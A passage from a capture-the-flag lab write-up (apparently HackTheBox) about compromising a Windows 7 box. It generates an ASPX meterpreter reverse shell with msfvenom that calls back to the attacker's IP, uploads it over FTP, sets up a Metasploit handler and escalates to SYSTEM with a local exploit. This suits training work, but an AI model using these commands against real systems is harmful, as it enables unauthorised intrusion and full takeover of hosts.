Uploading it worked well:

Going to the webpage. We get a 500 error, that’s no good! Maybe a .asp isn’t enough then!

Let’s see what windows reverse shells we can get that would work.

We can try a aspx.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9005 -f aspx -o shell.aspx

This time we have also changed the port, just in case 1234 is in use.

We put the file up onto the FTP server.

Bingo. Our nc gets a callback.

However, we never quite get a shell. Let’s set up a meterpreter listener instead.

Open up msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

Set the LHOST and LPORT you set earlier.

Run

Going to the aspx website. We get a ping back on our meterpreter shell

Excellent!

A quick hunt and there are a few user areas:

Trying to go into babis or administrator and we get access denied.

Looks like we will have to priv esc before we get any flags!

Looking at systeminfo we see that the box is Windows 7 with no hotfixes applied:

We need to up our privileges. Let’s use the built in exploit suggester in meterpreter:

To get out of the shell use:

exit

Then to get back to msf:

bg

For the exploit suggester we use:

use post/multi/recon/local_exploit_suggester

Show the options and set the session to the relevant number, in our case it’s 3.

Run the exploit ad we get some results

There are a whole bunch here. I don’t know much about any of them, so time for some googling!

Let’s start at the top of the list and try with ms10_092_schelevator.

Running the exploit showed something funny:

It’s using the wrong IP. It needs to be my HTB VPN ip of 10.10.14.33.

It was easy enough to fix, just needed to tweak the meterpreter/reverse_tcp options.

Still, no dice!

Let’s move on and try the next exploit.

Just like that, we are running as system!

This was cool, I rarely use meterpreter as I’m worried about dependency on it before the OSCP exam. However it’s good to learn and get used to using.

In the real world tests, a shells a shell. Doesn’t matter if you battled for an hour to tweak a powershell module, or used meterpreter tools!

And with the last couple of commands (and a bit of a hot mess in the middle).

Root and User serious faces!